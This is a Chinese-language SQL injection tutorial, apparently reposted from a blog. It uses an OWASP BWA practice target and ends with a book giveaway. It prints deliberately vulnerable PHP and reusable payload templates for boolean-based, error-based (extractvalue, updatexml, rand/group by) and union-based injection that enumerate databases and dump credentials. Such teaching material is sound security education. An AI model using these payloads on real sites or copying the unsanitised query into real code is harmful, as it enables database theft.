SQL 注入详解【文末抽奖】

admin 2022年4月1日11:14:35评论39 views字数 7527阅读25分5秒阅读模式

关于 SQL Injection

SQL Injection 就是通过把恶意的 SQL 命令插入到 Web 表单让服务器执行,最终达到欺骗服务器或数据库执行恶意的 SQL 命令。

学习 SQL 注入,首先要搭一个靶机环境,我使用的是 OWASP BWA,感兴趣的可以去官网下载一个安装,除了 SQL 注入,很多靶机环境都可以在 BWA 中找到,它专门为 OWASP ZAP 渗透工具设计的。

$id = $_GET['id'];$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );$num = mysql_numrows($result); 

这是一个很简单的 PHP代码,从前台获得 id 的值,交给数据库来执行,把结果返回给前台。

比如我们在 OWASP 里输入 id = 1,点击 Submit,返回结果如下:

SQL 注入详解【文末抽奖】

稍微懂一点后台或者数据库的人都知道,上面的那段代码是有严重问题的,没有对 id 的值进行有效性、合法性判断。也就是说,我们在 submit 输入框输入的如何内容都会被提交给数据库执行,比如在输入框输入1' or '1'='1,执行就会变成:

//原先要在数据库中执行的命令SELECT first_name, last_name FROM users WHERE user_id = '1'//变成SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'

注意一下单引号,这是 SQL 注入中非常重要的一个地方,所以注入代码的最后要补充一个 '1'='1让单引号闭合。

由于 or 的执行,会把数据库表 users 中的所有内容显示出来,

SQL 注入详解【文末抽奖】

下面对三种主要的注入类型进行介绍。

Boolean-based 原理分析

首先不得不讲SQL中的AND和OR
AND 和 OR 可在 WHERE 子语句中把两个或多个条件结合起来。
AND:返回第一个条件和第二个条件都成立的记录。
OR:返回满足第一个条件或第二个条件的记录。
AND和OR即为集合论中的交集和并集。
下面是一个数据库的查询内容。

mysql> select * from students;+-------+-------+-----+| id    | name  | age |+-------+-------+-----+| 10056 | Doris |  20 || 10058 | Jaune |  22 || 10060 | Alisa |  29 |+-------+-------+-----+3 rows in set (0.00 sec)

1)

mysql> select * from students where TRUE ;+-------+-------+-----+| id    | name  | age |+-------+-------+-----+| 10056 | Doris |  20 || 10058 | Jaune |  22 || 10060 | Alisa |  29 |+-------+-------+-----+3 rows in set (0.00 sec)

2)

mysql> select * from students where FALSE ;Empty set (0.00 sec)

3)

mysql> SELECT * from students where id = 10056 and TRUE ;+-------+-------+-----+| id    | name  | age |+-------+-------+-----+| 10056 | Doris |  20 |+-------+-------+-----+1 row in set (0.00 sec)

4)

mysql> select * from students where id = 10056 and FALSE ;Empty set (0.00 sec)

5)

mysql> selcet * from students where id = 10056 or TRUE ;+-------+-------+-----+| id    | name  | age |+-------+-------+-----+| 10056 | Doris |  20 || 10058 | Jaune |  22 || 10060 | Alisa |  29 |+-------+-------+-----+3 rows in set (0.00 sec)

6)

mysql> select * from students where id = 10056 or FALSE ;+-------+-------+-----+| id    | name  | age |+-------+-------+-----+| 10056 | Doris |  20 |+-------+-------+-----+1 row in set (0.00 sec)

会发现and 1=1 , and 1=2 即是 and TRUE , and FALSE 的变种。
这便是最基础的boolean注入,以此为基础你可以自由组合语句。

字典爆破流

and exists(select * from ?)     //?为猜测的表名and exists(select ? from x)     //?为猜测的列名

截取二分流

and (length((select schema_name from information_schema.schemata limit 1))>?)       //判断数据库名的长度and (substr((select schema_name from information_schema.schemata limit 1),1,1)>'?')and (substr((select schema_name from information_schema.schemata limit 1),1,1)<'?')      //利用二分法判断第一个字符

Boolean-based总结

根据前面的介绍,我们知道,对于基于Boolean-based的注入,必须要有一个可以正常访问的地址,比如http: //redtiger.labs.overthewire.org/level4.php?id=1 是一个可以正常访问的记录,说明id=1的记录是存在的,下面的都是基于这个进一步猜测。先来判断一个关键字keyword的长度,在后面构造id=1 and (select length(keyword) from table)=1,从服务器我们会得到一个返回值,如果和先前的返回值不一样,说明and后面的(select length(keyword) from table)=1返回false,keyword的长度不等于1。继续构造直到id=1 and (select length(keyword) from table)=15返回true,说明keyword的长度为15。

为什么我们刚开始一定要找一个已经存在的id,其实这主要是为了构造一个为真的情况。Boolean-based就是利用查询结果为真和为假时的不同响应,通过不断猜测来找到自己想要的东西。

对于keyword的值,mysql数据库可以使用substr(string, start, length)函数,截取string从第start位开始的length个字符串id=1 and (select substr(keyword,1,1) from table) ='A',依此类推,就可以获得keyword的在数据库中的值。
Boolean-based的效率很低,需要多个请求才能确定一个值,尽管这种代价可以通过脚本来完成,在有选择的情况下,我们会优先选择其他方式。

Error Based 原理分析

关于错误回显

基于错误回显的sql注入就是通过sql语句的矛盾性来使数据被回显到页面上

所用到的函数

count() 统计元祖的个数(相当于求和)select count(*) from information_schema.tables;  
rand()用于产生一个0~1的随机数
floor()向下取整
group by 依据我们想要的规矩对结果进行分组
concat将符合条件的同一列中的不同行数据拼接,以逗号隔开

用于错误回显的sql语句

第一种:基于 rand() 与 group by 的错误

利用group by part of rand() returns duplicate key error这个bug,关于rand()函数与group by 在mysql中的错误报告如下:

**RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.**

这个bug会爆出duplicate key这个错误,然后顺便就把数据偷到了。
公式:username=admin' and (select 1 from (select count(), concat(floor(rand(0)2),0x23,(你想获取的数据的sql语句))x from information_schema.tables group by x )a) and '1' = '1

第二种:XPATH爆信息

这里主要用到的是ExtractValue()和UpdateXML()这2个函数,由于mysql 5.1以后提供了内置的XML文件解析和函数,所以这种注入只能用于5.1版本以后使用

查看sql手册

语法:EXTRACTVALUE (XML_document, XPath_string);第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

作用:从目标XML中返回包含所查询值的字符串

语法:UPDATEXML (XML_document, XPath_string, new_value);第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

现在就很清楚了,我们只需要不满足XPath_string(Xpath格式)就可以了,但是由于这个方法只能爆出32位,所以可以结合mid来使用
公式1:username=admin' and (extractvalue(1, concat(0x7e,(你想获取的数据的sql语句)))) and '1'='1
公式2:username=admin' and (updatexml(1, concat(0x7e,(你想获取的数据的sql语句)),1)) and '1'='1

基于错误回显的注入,总结起来就一句话,通过sql语句的矛盾性来使数据被回显到页面上,但有时候局限于回显只能回显一条,导致基于错误的注入偷数据的效率并没有那么高,但相对于布尔注入已经提高了一个档次。

union query injection

要了解union query injection,首先得了解union查询,union用于合并两个或更多个select的结果集。比如说

SELECT username, password FROM account;

结果是

admin 123456

SELECT id, title FROM article

的结果是

1 Hello, World

SELECT username, password FROM accountUNION SELECT id, title FROM article

的结果就是

admin 123456

1 Hello, World

比起多重嵌套的boolean注入,union注入相对轻松。因为,union注入可以直接返回信息而不是布尔值。前面的介绍看出把union会把结果拼拼到一起,所有要让union前面的查询返回一个空值,一般采用类似于id=-1的方式。

1)

mysql> select name from students where id = -1 union select schema_name from information_schema.schemata;   //数据库名  +--------------------+| name               |+--------------------+| information_schema || mysql              || performance_schema || rumRaisin          || t3st               || test               |+--------------------+6 rows in set (0.00 sec)

2)

mysql> select name from students where id = -1 union select table_name from information_schema.tables where table_schema='t3st';    //表名+----------+| name     |+----------+| master   || students |+----------+2   rows in set (0.00 sec)

3)

mysql> select name from students where id = -1 union select column_name from information_schema.columns where table_name = 'students' ;     //列名+------+| name |+------+| id   || name || age  |+------+3 rows in set (0.00 sec)

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

举个例子,还以最开始的 OWASP 为基础,返回了两个值分别是 first_name 和 sur_name,可想而知,服务器在返回数据库的查询结果时,就会把结果中的第一个值和第二个值传给 first_name 和 sur_name,多了或少了,都会引起报错。

所以你如果想要使用union查询来进行注入,你首先要猜测后端查询语句中查询了多少列,哪些列可以回显给用户。

猜测列数

-1 union select 1-1 union select 1,2-1 union select 1,2,3//直到页面正常显示

比如这条语句

-1 UNION SELECT 1,2,3,4

如果显示的值为3和4,表示该查询结果中有四列,并且第三列和第四列是有用的。则相应的构造union语句如下

-1 UNION SELECT 1,2,username,password FROM table

小结一下

SQL 注入大概有5种,还有两种分别是 Stacked_queries(基于堆栈)和 Time-based blind(时间延迟),堆栈就是多语句查询,用 ‘;’ 把语句隔开,和 union 一样;时间延迟就是利用 sleep() 函数让数据库延迟执行,偷数据的速度很慢。(还有一个第六种,内联注入,但和前面涉及的内容有所重叠,就不单独来讨论了)写这篇文章的时候,也是刚刚接触 markdown 的时候,很多格式都不规范,比如中英文之间半角的空格都没有,大家就且看且无视吧。

引用说明,自己之前研究 SQL 注入的时候,也是一点一点摸索的,本博客的大部分内容是来自于公司内网的服务器中(公司定期考核,看你都干了什么)。当时因为是内网,就没有做引用,现在想找到这些引用的文章也很困难,见谅。

以上转自:https://segmentfault.com/a/1190000007520556


赠书福利


SQL 注入详解【文末抽奖】

一:架构Vue.js全家桶零基础入门到进阶项目实战

帮助读者全面掌握Vue.js全家桶技术、掌握单页面前后端分离项目开发,并知其所以然,理解MVVM框架思想;让不会前端的后端开发人员,快速精通Vue.js全家桶技术。本书贯穿讲解Npm、VSCode、Vue核心基础、中级进阶、综合进阶、项目上线部署等全过程,循序渐进、环环相扣、通俗易懂讲解,分析为什么这样使用,让你知其所以然。主要技术包括:NPM/CNPM、VSCode、Vue.js、MVVM、Axios、Vue Router、Webpack、ES6、Vue Loader、Vue CLI、Element UI、Vuex、Mock.js、EasyMock、Echarts 、Promise、拦截器、组件通信、跨域问题、上线部署等。本书适合前端开发人员、后端开发人员阅读,包括:在校生,需要掌握流行的新技术,做到与职场同步;在职人员,需要系统全面高效使用Vue技术。


二:人工智能数学基础

本书以零基础讲解为宗旨,面向学习数据科学与人工智能的读者,通俗地讲解每一个知识点,旨在帮助读者快速打下数学基础。
全书分为 4 篇,共 17 章。其中第 1 篇为数学知识基础篇,主要讲述了高等数学基础、微积分、泰勒公式与拉格朗日乘子法;第 2 篇为数学知识核心篇,主要讲述了线性代数基础、特征值与矩阵分解、概率论基础、随机变量与概率估计;第 3 篇为数学知识提高篇,主要讲述了数据科学的几种分布、核函数变换、熵与激活函数;第 4 篇为数学知识应用篇,主要讲述了回归分析、假设检验、相关分析、方差分析、聚类分析、贝叶斯分析等内容。

三:Python最优化算法实战

本书以理论结合编程开发为原则,使用 Python 作为开发语言,讲解优化算法的原理和应用,详细介绍了 Python 基础、Gurobi 优化器、线性规划、整数规划、多目标优化、动态规划、图与网络分析、智能优化算法。
 
赠书规则

     为了感谢大家一直以来的关注与支持,会有三书籍免费赠送SQL 注入详解【文末抽奖】

     规则如下:

     1.  本文末点‘在看’,不需要转发朋友圈,点个‘在看’就可以。

     2. 私聊文末公众号发送“赠书”即可扫描参与抽奖,注意看是发送暗号“赠书”

     3. 中奖者不满足条件1,视为放弃中奖资格。

     4. 活动截止时间为3月30日 17:00点,到时候还要中奖者及时联系号主发送你的中奖核验二维码、收货地址、姓名、手机号以及想要的书籍,好给您发送书籍哦!24小时内未联系号主视为自动放弃!骗书行为出版社会永久拉黑!


先点“再看”,然后点击下方公众号私聊发送“赠书” 即可马上扫描参与抽奖SQL 注入详解【文末抽奖】

原文始发于微信公众号(LemonSec):SQL 注入详解【文末抽奖】

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月1日11:14:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL 注入详解【文末抽奖】http://cn-sec.com/archives/853561.html

发表评论

匿名网友 填写信息